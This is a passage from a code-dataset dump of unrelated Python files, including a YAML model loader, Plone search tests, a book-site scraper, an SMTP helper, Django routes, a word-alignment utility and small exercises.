file_handle, Dumper=yaml.RoundTripDumper, **kwargs)\n else:\n yaml.dump(obj, filename, Dumper=yaml.RoundTripDumper, **kwargs)\n\n\ndef load_yaml_model(filename):\n \"\"\"\n Load a cobra model from a file in YAML format.\n\n Parameters\n ----------\n filename : str or file-like\n File path or descriptor that contains the YAML document describing the\n cobra model.\n\n Returns\n -------\n cobra.Model\n The cobra model as represented in the YAML document.\n\n See Also\n --------\n from_yaml : Load from a string.\n \"\"\"\n if isinstance(filename, string_types):\n with io.open(filename, \"r\") as file_handle:\n return model_from_dict(yaml.load(file_handle,\n yaml.RoundTripLoader))\n else:\n return model_from_dict(yaml.load(filename, yaml.RoundTripLoader))\n","sub_path":"lib/python3.5/site-packages/cobra/io/yaml.py","file_name":"yaml.py","file_ext":"py","file_size_in_byte":2765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"430623506","text":"# uncompyle6 version 3.6.7\n# Python bytecode 2.4 (62061)\n# Decompiled from: Python 3.8.2 (tags/v3.8.2:7b3ab59, Feb 25 2020, 23:03:10) [MSC v.1916 64 bit (AMD64)]\n# Embedded file name: build/bdist.linux-i686/egg/Products/DigestoContentTypes/tests/test_search.py\n# Compiled at: 2009-04-26 22:17:24\nimport os, unittest\nfrom zope.component import getMultiAdapter\nfrom Products.DigestoContentTypes.tests.base import DigestoContentTypesTestCase, test_home\nfrom DateTime import DateTime\nfrom zope.event import notify\nfrom Products.CMFCore.utils import getToolByName\nfrom Products.Archetypes.event import ObjectInitializedEvent, ObjectEditedEvent\nfrom Products.DigestoContentTypes.content.Normativa import Normativa\nfrom Products.DigestoContentTypes.browser.searchtools import SearchTools\n\nclass TestSearch(DigestoContentTypesTestCase):\n \"\"\" Testing the DigestoContentTypes Search.\n \"\"\"\n __module__ = __name__\n\n def afterSetUp(self):\n self.workflow = getToolByName(self.portal, 'portal_workflow')\n self.acl_users = getToolByName(self.portal, 'acl_users')\n self.types = getToolByName(self.portal, 'portal_types')\n self.quickinstaller = getToolByName(self.portal, 'portal_quickinstaller')\n self.setRoles(('Manager', ))\n input_dir = os.path.join(test_home, 'input')\n input = open(os.path.join(input_dir, 'test2.pdf'), 'rb')\n self.portal.invokeFactory('Area', 'area1')\n self.portal.invokeFactory('Area', 'area2')\n self.portal.area1.invokeFactory('Normativa', 'normativa1', source='source1', kind='kind1', title='normativa1', file=input, date=DateTime(2008, 4, 4), number='123')\n notify(ObjectInitializedEvent(self.portal.area1.normativa1))\n self.portal.area2.invokeFactory('Normativa', 'normativa2', source='source2', kind='kind2', title='normativa2', file=input, date=DateTime(2008, 5, 5), number='456')\n notify(ObjectInitializedEvent(self.portal.area2.normativa2))\n self.portal.area2.invokeFactory('Normativa', 'normativa3', source='source2', kind='kind1', title='normativa3', file=input, date=DateTime(2007, 5, 5), number='789')\n notify(ObjectInitializedEvent(self.portal.area2.normativa3))\n self.portal.area1.invokeFactory('Normativa', 'normativa4', source='source2', kind='Ley', title='normativa4', file=input, date=DateTime(2007, 5, 5), number='444')\n notify(ObjectInitializedEvent(self.portal.area1.normativa4))\n self.normativas = {'normativa1': self.portal.area1.source1.kind1.normativa1, 'normativa2': self.portal.area2.source2.kind2.normativa2, 'normativa3': self.portal.area2.source2.kind1.normativa3, 'normativa4': self.portal.area1.source2.ley.normativa4}\n self.normativas['normativa1'].setModifies(self.normativas['normativa2'].UID())\n self.normativas['normativa1'].setRepeals(self.normativas['normativa2'].UID())\n self.normativas['normativa1'].reindexObject()\n self.normativas['normativa2'].reindexObject()\n from Products.DigestoContentTypes.utilities.interfaces import INormativaTypes\n from Products.DigestoContentTypes.utilities.types import NormativaTypes\n sm = self.portal.getSiteManager()\n if not sm.queryUtility(INormativaTypes):\n sm.registerUtility(NormativaTypes(), INormativaTypes)\n nt = sm.getUtility(INormativaTypes)\n nt.types = ['Ley', 'Ordenanza', 'Decreto', unicode('Resolución', 'utf-8')]\n\n def test_search_by_area(self):\n \"\"\" Test the search of Normativas by Area\n \"\"\"\n request = self.portal.REQUEST\n request['getArea'] = 'area2'\n search_view = getMultiAdapter((self.portal, request), name='searchtools')\n results = search_view.search_results(request)\n area_uids = [self.normativas['normativa2'].UID(), self.normativas['normativa3'].UID()]\n area_uids.sort()\n self.failUnless(len(results) == 2)\n results_uids = [results[0].getObject().UID(), results[1].getObject().UID()]\n results_uids.sort()\n self.failUnless(results_uids == area_uids)\n\n def test_search_by_number_normativa(self):\n \"\"\" Test the search of Normativas by Normativa Number\n \"\"\"\n request = self.portal.REQUEST\n request['getNumber'] = '789'\n request['numero_normativa'] = 'number'\n search_view = getMultiAdapter((self.portal, request), name='searchtools')\n results = search_view.search_results(request)\n number_uids = [self.normativas['normativa3'].UID()]\n number_uids.sort()\n self.failUnless(len(results) == 1)\n results_uids = [results[0].getObject().UID()]\n results_uids.sort()\n self.failUnless(results_uids == number_uids)\n\n def test_search_by_number_modifies(self):\n \"\"\" Test the search of Normativas by Modifies number\n \"\"\"\n request = self.portal.REQUEST\n request['getNumber'] = '456'\n request['numero_normativa'] = 'modifies'\n search_view = getMultiAdapter((self.portal, request), name='searchtools')\n results = search_view.search_results(request)\n number_uids = [self.normativas['normativa1'].UID()]\n number_uids.sort()\n self.failUnless(len(results) == 1)\n results_uids = [results[0].getObject().UID()]\n results_uids.sort()\n self.failUnless(results_uids == number_uids)\n\n def test_search_by_number_repeals(self):\n \"\"\" Test the search of Normativas by Repeals number\n \"\"\"\n request = self.portal.REQUEST\n request['getNumber'] = '456'\n request['numero_normativa'] = 'repeals'\n search_view = getMultiAdapter((self.portal, request), name='searchtools')\n results = search_view.search_results(request)\n number_uids = [self.normativas['normativa1'].UID()]\n number_uids.sort()\n self.failUnless(len(results) == 1)\n results_uids = [results[0].getObject().UID()]\n results_uids.sort()\n self.failUnless(results_uids == number_uids)\n\n def test_search_by_number_repealedby(self):\n \"\"\" Test the search of Normativas by Repealedby number\n \"\"\"\n request = self.portal.REQUEST\n request['getNumber'] = '123'\n request['numero_normativa'] = 'isrepealedby'\n search_view = getMultiAdapter((self.portal, request), name='searchtools')\n results = search_view.search_results(request)\n number_uids = [self.normativas['normativa2'].UID()]\n number_uids.sort()\n self.failUnless(len(results) == 1)\n results_uids = [results[0].getObject().UID()]\n results_uids.sort()\n self.failUnless(results_uids == number_uids)\n\n def test_search_by_year(self):\n \"\"\" Test the search of Normativas by year\n \"\"\"\n request = self.portal.REQUEST\n request['getDate'] = '2008'\n search_view = getMultiAdapter((self.portal, request), name='searchtools')\n results = search_view.search_results(request)\n number_uids = [self.normativas['normativa1'].UID(), self.normativas['normativa2'].UID()]\n number_uids.sort()\n self.failUnless(len(results) == 2)\n results_uids = [results[0].getObject().UID(), results[1].getObject().UID()]\n results_uids.sort()\n self.failUnless(results_uids == number_uids)\n\n def test_search_by_kind(self):\n \"\"\" Test the search of Normativas by kind\n \"\"\"\n request = self.portal.REQUEST\n request['getKind'] = 'kind1'\n search_view = getMultiAdapter((self.portal, request), name='searchtools')\n results = search_view.search_results(request)\n number_uids = [self.normativas['normativa1'].UID(), self.normativas['normativa3'].UID()]\n number_uids.sort()\n self.failUnless(len(results) == 2)\n results_uids = [results[0].getObject().UID(), results[1].getObject().UID()]\n results_uids.sort()\n self.failUnless(results_uids == number_uids)\n\n def test_search_id_in_searchabletext(self):\n \"\"\" Test the search of Normativas by number and year in the searchable text\n \"\"\"\n request = self.portal.REQUEST\n request['SearchableText'] = '456/08'\n search_view = getMultiAdapter((self.portal, request), name='searchtools')\n results = search_view.search_results(request)\n number_uids = [self.normativas['normativa2'].UID()]\n number_uids.sort()\n self.failUnless(len(results) == 1)\n results_uids = [results[0].getObject().UID()]\n results_uids.sort()\n self.failUnless(results_uids == number_uids)\n request['SearchableText'] = '789-07'\n search_view = getMultiAdapter((self.portal, request), name='searchtools')\n results = search_view.search_results(request)\n number_uids = [self.normativas['normativa3'].UID()]\n number_uids.sort()\n self.failUnless(len(results) == 1)\n results_uids = [results[0].getObject().UID()]\n results_uids.sort()\n self.failUnless(results_uids == number_uids)\n request['SearchableText'] = '123/2008'\n results = search_view.search_results(request)\n number_uids = [self.normativas['normativa1'].UID()]\n number_uids.sort()\n self.failUnless(len(results) == 1)\n results_uids = [results[0].getObject().UID()]\n results_uids.sort()\n self.failUnless(results_uids == number_uids)\n request['SearchableText'] = '444-2007'\n results = search_view.search_results(request)\n number_uids = [self.normativas['normativa4'].UID()]\n number_uids.sort()\n self.failUnless(len(results) == 1)\n results_uids = [results[0].getObject().UID()]\n results_uids.sort()\n self.failUnless(results_uids == number_uids)\n request['SearchableText'] = 'Ley 444-2007'\n results = search_view.search_results(request)\n number_uids = [self.normativas['normativa4'].UID()]\n number_uids.sort()\n self.failUnless(len(results) == 1)\n results_uids = [results[0].getObject().UID()]\n results_uids.sort()\n self.failUnless(results_uids == number_uids)\n\n def test_search_attachments(self):\n \"\"\"Test that if we search for a word that is in an attachment,\n then the normativa that contains it is in the results.\n \"\"\"\n input_dir = os.path.join(test_home, 'input')\n attachment = open(os.path.join(input_dir, 'test1.pdf'), 'rb')\n self.normativas['normativa1'].invokeFactory('Attachment', 'adjunto1', file=attachment)\n self.normativas['normativa1'].adjunto1.reindexObject()\n request = self.portal.REQUEST\n request['SearchableText'] = 'file'\n search_view = getMultiAdapter((self.portal, request), name='searchtools')\n results = search_view.search_results(request)\n auid = self.normativas['normativa1'].adjunto1.UID()\n results_uids = [ i.getObject().UID() for i in results ]\n self.failIf(auid not in results_uids)\n\n\ndef test_suite():\n suite = unittest.TestSuite()\n suite.addTest(unittest.makeSuite(TestSearch))\n return suite","sub_path":"pycfiles/Products.DimensionWidget-2.0b3.tar/test_search.py","file_name":"test_search.py","file_ext":"py","file_size_in_byte":11086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"411621693","text":"class Solution(object):\n def get_next_partiton(self, chars, char_maps, start_idx):\n first_c = chars[start_idx]\n last_pos = char_maps[first_c][-1]\n index = start_idx\n while index < last_pos:\n if char_maps[chars[index]][-1] > last_pos:\n last_pos = char_maps[chars[index]][-1]\n index += 1\n return index\n\n def partitionLabels(self, S):\n \"\"\"\n :type S: str\n :rtype: List[int]\n \"\"\"\n if not S:\n return 0\n chars = [c for c in S]\n char_maps = {}\n for i in range(len(chars)):\n if chars[i] not in char_maps:\n char_maps[chars[i]] = [i]\n else:\n char_maps[chars[i]].append(i)\n partitions = []\n starting_point = - 1\n while sum(partitions) < len(chars):\n idx = self.get_next_partiton(chars, char_maps, starting_point + 1)\n partitions.append(idx - starting_point)\n starting_point = idx\n return partitions\n\ndef main():\n s = Solution()\n print(s.partitionLabels(\"ababcbacadefegdehijhklij\"))\n\nif __name__ == '__main__':\n main()","sub_path":"763_Partition_Labels/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"269429756","text":"import os\nfrom pathlib import Path\n\nhome = str(Path.home())\nroot = os.path.join(home, \"Desktop\")\nraw_file = os.path.join(root, \"raw.txt\")\nurl_file = os.path.join(root, \"url.txt\")\n\nurls = set()\nwith open(raw_file, mode='r', encoding='utf-8') as f:\n for line in f:\n line = line.strip()\n index = line.find('http')\n if index < 0:\n continue\n\n line = line[index:]\n url, _, _1 = line.partition(' ')\n urls.add(url)\n\nwith open(url_file, mode='w', encoding='utf-8') as f:\n for url in urls:\n print(url, file=f)\n","sub_path":"find_url.py","file_name":"find_url.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"247993711","text":"import smtplib\nimport email.utils\nfrom email.mime.text import MIMEText\n\n# Create the message\ndef send(to_field,from_field,subject_field,body_field):\n\tmsg = MIMEText(body_field)\n\tmsg['To'] = email.utils.formataddr(('Recipient',\n\t to_field))\n\tmsg['From'] = email.utils.formataddr(('Author',\n\t from_field))\n\tmsg['Subject'] = subject_field\n\n\tserver = smtplib.SMTP('127.0.0.1', 1025)\n\tserver.set_debuglevel(True) # show communication with the server\n\ttry:\n\t server.sendmail(from_field,\n\t [to_field],\n\t msg.as_string())\n\tfinally:\n\t server.quit()\n","sub_path":"MailServer/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"263479244","text":"\"\"\"\nThis is the main engine module that runs checks and then sleeps after the delay.\n\"\"\"\nimport random\nimport threading\nimport time\n\nfrom config import CHECK_DELAY, CHECK_DELTA\nfrom config import HTTP_SERVER, HTTP_POINTS, HTTP_URI\n\nfrom http_check import HTTPCheck \nfrom ..logger import info\n\nclass Worker (threading.Thread):\n def __init__(self, check_class, ip_addr, points, *args):\n self.ip_addr = ip_addr\n self.points = points\n self.args = args\n self.check_class = check_class\n threading.Thread.__init__(self)\n \n def run(self):\n check = self.check_class(self.ip_addr, self.points, self.args)\n check.run_check()\n\nclass Engine(threading.Thread):\n def __init__(self):\n threading.Thread.__init__(self)\n\n def run (self):\n if CHECK_DELAY <= CHECK_DELTA:\n print(\"ERROR: CHECK_DELAY must be greater than CHECK_DELTA\")\n\n while True:\n threads = []\n\n # HTTP Check Thread\n info(\"Spawning HTTP check worker\", \"engine\")\n httpCheck = Worker(HTTPCheck, HTTP_SERVER, HTTP_POINTS, HTTP_URI)\n httpCheck.start()\n threads.append(httpCheck)\n\n # Wait for checks to complete\n for t in threads:\n t.join()\n\n delta = random.randrange(-CHECK_DELTA, CHECK_DELTA)\n time.sleep(CHECK_DELAY + delta)","sub_path":"app/engine/engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":1390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"601374785","text":"import requests\n\nclass TestHttpRequest:\n def __init__(self,url,data,method,cookie=\"\"):\n self.url = url\n self.data = data\n self.method = str(method).lower()\n # self.code = code\n self.cookie = cookie\n\n def HttpRequest(self):\n if self.method == \"post\":\n res = requests.post(url=self.url,data=self.data,cookies=self.cookie)\n elif self.method == \"get\":\n res = requests.get(url=self.url, params=self.data, cookies=self.cookie)\n else:\n print(\"请输入正确的method\")\n return res\n\n\nif __name__ == \"__main__\":\n res = TestHttpRequest(url=\"http://47.107.168.87:8080/futureloan/mvc/api/member/login\",data={\"mobilephone\":\"18544444402\",\"pwd\":\"123456\"},method=\"post\").HttpRequest()\n cookie = res.cookies\n print(cookie)","sub_path":"common/TestHttpRequest.py","file_name":"TestHttpRequest.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"641274986","text":"from .config import *\n\nclass Util:\n\n\n '''\n Input: A and B; list of words \n Check If A is subset of B\n '''\n\n\n def isSublist(self, A, B):\n\n flag = True\n for item in A:\n if item not in B:\n flag = False\n break\n return flag\n\n\n '''\n Input: source and target Words\n Return: list of commonNeighboringWords\n '''\n\n\n def get_commonNeighboringWords(self, sourceWords, targetWords, \n convertToLowerCase=True):\n\n\n commonNeighboringWords = []\n a = []\n b = []\n # If lowerCase true, then convert all word in lowercase\n if convertToLowerCase:\n for i in (sourceWords):\n a.append(i.lower())\n for j in (targetWords):\n b.append(j.lower())\n\n swapped = False\n\n if (len(a) > len(b)):\n temp = a\n a = b \n b = temp\n swapped = True\n\n maximumSize = len(a)\n # print \"maximum size (a)\", maximumSize\n # print \"length of b \", len(b) \n\n for size in range(maximumSize, 0, -1):\n\n AIndices = [i for i in range(0, len(a)-size+1)] \n BIndices = [j for j in range(0, len(b)-size+1)] \n\n for i in AIndices: \n for j in BIndices:\n\n # check if a contiguous superset has already been inserted; \n #don't insert this one in that case\n if a[i:i+size] == b[j:j+size]:\n alreadyInserted = False\n # take indices of equal words\n currentAIndices = [item for item in range(i,i+size)]\n currentBIndices = [item for item in range(j,j+size)]\n \n for k in commonNeighboringWords:\n # print \"k \", k[0]\n if self.isSublist(currentAIndices, k[0]) and self.isSublist(currentBIndices, k[1]):\n alreadyInserted = True\n break\n\n if not alreadyInserted:\n commonNeighboringWords.append([currentAIndices,currentBIndices])\n if swapped:\n for item in commonNeighboringWords:\n temp = item[0]\n item[0] = item[1]\n item[1] = temp\n return commonNeighboringWords \n\n\n '''\n Input : parseResult of source/Target sentence\n returns: list contains:\n (rel, parent{charStartOffset, charEndOffset, wordNumber}, \n childs{charStartOffset, charEndOffset, wordNumber})\n '''\n\n\n def dependencyTreeWithOffSets(self,parseResult):\n\n\n dependencies = parseResult['dependencies']\n combine_dependencies = []\n res = []\n words_param = parseResult['words']\n combine_wordsList = []\n\n if(len(dependencies)) > 1:\n for sublist in dependencies:\n combine_dependencies += sublist\n else:\n combine_dependencies = dependencies[0]\n\n if (len(words_param) > 1):\n for sublist in words_param:\n combine_wordsList += sublist \n else:\n combine_wordsList = words_param[0]\n\n for dep in combine_dependencies:\n\n newItem = []\n newItem.append(dep[0]) \n\n parent = dep[1][0:dep[1].rindex(\"-\")]\n \n wordNumber = dep[1][dep[1].rindex(\"-\") + 1:]\n # print \"word Number \", wordNumber\n\n if wordNumber.isdigit() == False:\n continue\n \n parent += '{' + combine_wordsList[int(wordNumber)-1][1]['CharacterOffsetBegin'] + \\\n ' ' + combine_wordsList[int(wordNumber)-1][1]['CharacterOffsetEnd'] + ' ' + wordNumber + '}'\n newItem.append(parent)\n\n child = dep[2][0:dep[2].rindex(\"-\")]\n wordNumber = dep[2][dep[2].rindex(\"-\")+1:]\n if wordNumber.isdigit() == False:\n continue\n child += '{' + combine_wordsList[int(wordNumber)-1][1]['CharacterOffsetBegin'] + \\\n ' ' + combine_wordsList[int(wordNumber)-1][1]['CharacterOffsetEnd'] + ' ' + wordNumber + '}' \n newItem.append(child)\n\n res.append(newItem)\n\n return res\n\n\n '''\n Input: dependencies, wordIndex, word\n return : list(parents with Relation) : [[WordNumberOf parent, parent, relation]]\n '''\n\n\n def findParents(self, dependencies, wordIndex, word):\n\n\n wordsWithIndices = ( (int(item[2].split('{')[1].split('}')[0].split(' ')[2]) ,\\\n item[2].split('{')[0])for item in dependencies)\n wordsWithIndices = list(set(wordsWithIndices))\n wordsWithIndices = sorted(wordsWithIndices, key=lambda item: item[0])\n\n wordIndexPresentInList = False\n for i in wordsWithIndices:\n if i[0] == wordIndex:\n # print \"came here \", i[0], wordIndex\n wordIndexPresentInList = True\n break\n \n parentsWithRelation = []\n\n if wordIndexPresentInList:\n # dependencies : [['root', 'Root{85 86 0}', 'country{28 35 5}']\n for j in dependencies:\n\n currentIndex = int(j[2].split('{')[1].split('}')[0].split(' ')[2])\n\n if currentIndex == wordIndex:\n # store [WordNumberOf parent, parent, relation]\n # [0,Root, root]\n parentsWithRelation.append([int(j[1].split('{')[1].split('}')[0].split(' ')[2]),\\\n j[1].split('{')[0], j[0]])\n\n # need to check for this section\n else:\n\n nextIndex = 0\n for i in range(len(wordsWithIndices)):\n if wordsWithIndices[i][0] > wordIndex:\n nextIndex = wordsWithIndices[i][0]\n break\n\n if nextIndex == 0:\n return []\n\n for i in range(len(dependencies)):\n if int(dependencies[i][2].split('{')[1].split('}')[0].split(' ')[2]) == nextIndex:\n pos = i\n break\n\n for i in range(pos, len(dependencies)):\n if '_' in dependencies[i][0] and word in dependencies[i][0]:\n parent = [int(dependencies[i][1].split('{')[1].split('}')[0].split(' ')[2]), \\\n dependencies[i][1].split('{')[0], dependencies[i][0]]\n parentsWithRelation.append(parent)\n break\n\n return parentsWithRelation\n\n\n '''\n Input: dependencies; (rel, parent{charStartOffset, charEndOffset, wordNumber}, \n childs{charStartOffset, charEndOffset, wordNumber})\n\n wordIndex and word\n output: list of children \n '''\n\n\n def findChildren(self, dependencies, wordIndex, word):\n\n\n wordsWithIndices = ( (int(item[2].split('{')[1].split('}')[0].split(' ')[2]) ,\\\n item[2].split('{')[0])for item in dependencies)\n wordsWithIndices = list(set(wordsWithIndices))\n wordsWithIndices = sorted(wordsWithIndices, key=lambda item: item[0])\n childrenWithRelation = []\n \n wordIndexPresentInList = False\n for i in wordsWithIndices:\n if i[0] == wordIndex:\n wordIndexPresentInList = True\n break\n\n if wordIndexPresentInList:\n for j in dependencies:\n currentIndex = int(j[1].split('{')[1].split('}')[0].split(' ')[2])\n if currentIndex == wordIndex:\n childrenWithRelation.append([int(j[2].split('{')[1].split('}')[0].split(' ')[2]),\\\n j[2].split('{')[0], j[0]])\n\n # find the closest following word index which is in the list\n else:\n nextIndex = 0\n\n for i in range(len(wordsWithIndices)):\n if wordsWithIndices[i][0] > wordIndex:\n nextIndex = wordsWithIndices[i][0]\n break\n\n if nextIndex == 0:\n return []\n\n for i in range(len(dependencies)):\n if int(dependencies[i][2].split('{')[1].split('}')[0].split(' ')[2]) == nextIndex:\n pos = i\n break\n\n for i in range(pos, len(dependencies)):\n if '_' in dependencies[i][0] and word in dependencies[i][0]:\n child = [int(dependencies[i][2].split('{')[1].split('}')[0].split(' ')[2]), \\\n dependencies[i][2].split('{')[0], dependencies[i][0]]\n childrenWithRelation.append(child)\n break\n\n return childrenWithRelation\n\n\n '''\n Returns words withn (3,3) neighborhood window\n '''\n\n def findNeighborhoodSimilarities(self, sentenceDetails, wordIndex, leftSpan, rightSpan):\n\n\n lemmas = []\n wordIndices = []\n sentenceLen = len(sentenceDetails)\n startWordIndex = max(1, wordIndex - rightSpan)\n endWordIndex = min(sentenceLen, wordIndex+rightSpan)\n for item in sentenceDetails[startWordIndex-1:wordIndex-1]:\n if item[3] not in stopwords + punctuations:\n lemmas.append(item[3])\n wordIndices.append(item[1])\n for item in sentenceDetails[wordIndex:endWordIndex]:\n if item[3] not in stopwords + punctuations:\n lemmas.append(item[3])\n wordIndices.append(item[1])\n\n return [wordIndices, lemmas, wordIndex-startWordIndex, endWordIndex-wordIndex]\n","sub_path":"scripts/essentia/word_aligner/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":9691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"420491152","text":"from django.conf.urls import url, include\nfrom rest_framework import routers\nfrom api.views import CallResponseView, DeviceCheckinView, RegisterDeviceView, IncomingCallView,\\\n UnregisterDeviceView, WriteToLogView\n\nrouter = routers.DefaultRouter()\n\nurlpatterns = [\n url(r'^incoming-call/', IncomingCallView.as_view()),\n url(r'^call-response/', CallResponseView.as_view()),\n url(r'^(?P(apns|gcm))-device-checkin/', DeviceCheckinView.as_view()),\n url(r'^register-(?P(apns|gcm))-device/', RegisterDeviceView.as_view()),\n url(r'^unregister-(?P(apns|gcm))-device/', UnregisterDeviceView.as_view()),\n url(r'^write-to-log/', WriteToLogView.as_view()),\n]\n","sub_path":"api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"6212974","text":"import argparse\nimport json\nimport logging.config # noqa: WPS301\nimport os\nfrom typing import List, Optional\nfrom urllib.parse import urljoin\n\nimport requests\nimport urllib3\nimport yaml\nfrom bs4 import BeautifulSoup\nfrom dotenv import load_dotenv\nfrom tqdm import tqdm\n\nfrom bookparser import download_img, download_txt, get_book_comments # noqa: I001\nfrom bookparser import get_book_description, get_book_genres # noqa: I001\nfrom bookfetcher import get_response\n\nload_dotenv()\nlogger = logging.getLogger('parser')\n\n\ndef create_parser() -> argparse.ArgumentParser:\n \"\"\"Создание аргументов запуска скрипта.\"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument('--start_page', help='Начальная страница', required=True, type=int)\n parser.add_argument(\n '--end_page',\n help='Конечная страница',\n type=int,\n default=os.getenv('END_PAGE', 702), # noqa: WPS432\n )\n parser.add_argument('--dest_folder', help='Путь к каталогу с результатами парсинга', default=os.getcwd())\n parser.add_argument('--skip_imgs', help='Не скачивать картинки', action='store_true')\n parser.add_argument('--skip_txt', help='Не скачивать книги', action='store_true')\n parser.add_argument(\n '--json_path',\n help='Путь к json файлу с результатами парсинга',\n default=os.path.join(os.getcwd(), os.getenv('JSON_FILE_NAME', 'description.json')),\n )\n return parser\n\n\ndef get_rel_book_urls(url: str) -> Optional[List[str]]:\n \"\"\"Получает список относительных адресов книг.\"\"\"\n response = get_response(url)\n soup = BeautifulSoup(response.text, 'lxml')\n tags = soup.select('.tabs .d_book .bookimage a')\n if not tags:\n return None\n return [tag['href'] for tag in tags]\n\n\ndef configure_logging():\n \"\"\"Конфигурирует работу логгера.\"\"\"\n try:\n with open(os.getenv('LOG_CONFIG'), 'r') as log_config:\n config = yaml.safe_load(log_config.read())\n logging.config.dictConfig(config)\n except FileNotFoundError:\n logging.basicConfig(level=logging.ERROR)\n logger.exception('File with logging settings not found!')\n\n\nif __name__ == '__main__':\n urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n configure_logging()\n parser = create_parser()\n namespace = parser.parse_args()\n logger.info(f'Start parsing with params: {namespace}')\n path, filename = os.path.split(namespace.json_path)\n os.makedirs(path, exist_ok=True)\n if not filename:\n filename = os.getenv('FILE_NAME', 'description.json')\n books = []\n for page in range(namespace.start_page, namespace.end_page):\n url = f'https://tululu.org/l55/{page}'\n try:\n book_rel_urls = get_rel_book_urls(url)\n except requests.exceptions.HTTPError:\n logger.exception('Error opening page with books.')\n continue\n for rel_url in tqdm(book_rel_urls):\n abs_url = urljoin(url, rel_url)\n try:\n response = get_response(abs_url)\n except requests.exceptions.HTTPError: # noqa: WPS440\n logger.exception('Book description page open error occurred.')\n continue\n soup = BeautifulSoup(response.text, 'lxml')\n title, author = get_book_description(soup)\n comments = get_book_comments(soup)\n genres = get_book_genres(soup)\n book_url = f'https://tululu.org/txt.php?id={rel_url.split(\"/b\")[-1]}'\n book_path = None\n img_src = None\n if not namespace.skip_imgs:\n try:\n img_src = download_img(abs_url, namespace.dest_folder)\n except requests.exceptions.HTTPError: # noqa: WPS440\n logger.exception('Image download error occurred.')\n continue\n if not namespace.skip_txt:\n try:\n book_path = download_txt(book_url, namespace.dest_folder)\n except requests.exceptions.HTTPError: # noqa: WPS440\n logger.exception('Book download error occurred.')\n continue\n specification = {\n 'title': title,\n 'author': author,\n 'img_src': img_src,\n 'book_path': book_path,\n 'comments': comments,\n 'genres': genres,\n }\n books.append(specification)\n\n with open(os.path.join(path, filename), 'w', encoding='utf8') as metadata:\n json.dump(books, metadata, ensure_ascii=False)\n logger.info(f'Parsing {len(books)} items done!')\n","sub_path":"parse_tululu_category.py","file_name":"parse_tululu_category.py","file_ext":"py","file_size_in_byte":4869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"519972319","text":"import copy\nclass Node(object):\n def __init__(self, key):\n self.val = key\n self.left = None\n self.right = None\n\nclass Tree(object):\n def __init__(self):\n pass\n\n def mirrortree(self, root):\n if root is None:\n return True\n elif root.left is None and root.right is None:\n return True\n else:\n self.mirrortree(root.left)\n self.mirrortree(root.right)\n root.left, root.right = root.right, root.left\n\n def printtree(self, root):\n nodes = [root]\n while nodes:\n node = nodes.pop(0)\n if node.left:\n nodes.append(node.left)\n if node.right:\n nodes.append(node.right)\n print(node.val)\n\n def inorder(self,root):\n if root is None:\n return\n\n if root.left:\n self.inorder(root.left)\n print(root.val)\n if root.right:\n self.inorder(root.right)\n\n\ndef mirrorcheck(root1, root2):\n if root1 is None and root2 is None:\n return True\n\n if (root1 is None) or (root2 is None):\n return False\n\n if root1.val == root2.val:\n return mirrorcheck(root1.left, root2.right) and mirrorcheck(root1.right, root2.left)\n else:\n return False\n\ntree1 = Tree()\ntree1.root = Node(1)\ntree1.root.left = Node(3)\ntree1.root.right = Node(2)\ntree1.root.right.left = Node(5)\ntree1.root.right.right = Node(4)\n\ntree2 = copy.deepcopy(tree1)\n\n\ntree1.inorder(tree1.root)\ntree1.mirrortree(tree1.root) # mirror image tree1\ntree1.inorder(tree1.root)\n\n# check if tree1 and tree2 are mirror images\n# tree2.root.left.left.left = Node(6)\nprint(mirrorcheck(tree1.root, tree2.root))\n","sub_path":"datastructures_algorithms/Tree/Tree-Mirror.py","file_name":"Tree-Mirror.py","file_ext":"py","file_size_in_byte":1722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"416723995","text":"# trex image from Wyverii on http://opengameart.org/content/unsealed-terrex\n\nimport sys\nimport os\nsys.path.append(os.path.abspath('..'))\nimport pygame\nfrom pygame.locals import *\n\nfrom surv_lib.surv_graph_unit import SpSurvAnimation\npygame.init()\n\n# set up the window\nwindowSurface = pygame.display.set_mode((320, 240), 0, 32)\npygame.display.set_caption('Sprite Sheet Demo')\nunit_down = SpSurvAnimation('down')\nunit_up = SpSurvAnimation('up')\nunit_left = SpSurvAnimation('left')\nunit_right = SpSurvAnimation('right')\n#unit\n#mainClock = pygame.time.Clock()\nBGCOLOR = (100, 50, 50)\nwhile True:\n windowSurface.fill(BGCOLOR)\n for event in pygame.event.get():\n if event.type == QUIT or (event.type == KEYDOWN and event.key == K_ESCAPE):\n pygame.quit()\n sys.exit()\n\n unit_down.unit_anim.blit(windowSurface, (100, 50))\n unit_up.unit_anim.blit(windowSurface, (200, 50))\n unit_left.unit_anim.blit(windowSurface, (100, 100))\n unit_right.unit_anim.blit(windowSurface, (200, 100))\n #dinoAnim.blit(windowSurface, (100, 50))\n\n pygame.display.update()\n #mainClock.tick(30) # Feel free to experiment with any FPS setting.","sub_path":"spritemove.py","file_name":"spritemove.py","file_ext":"py","file_size_in_byte":1161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} 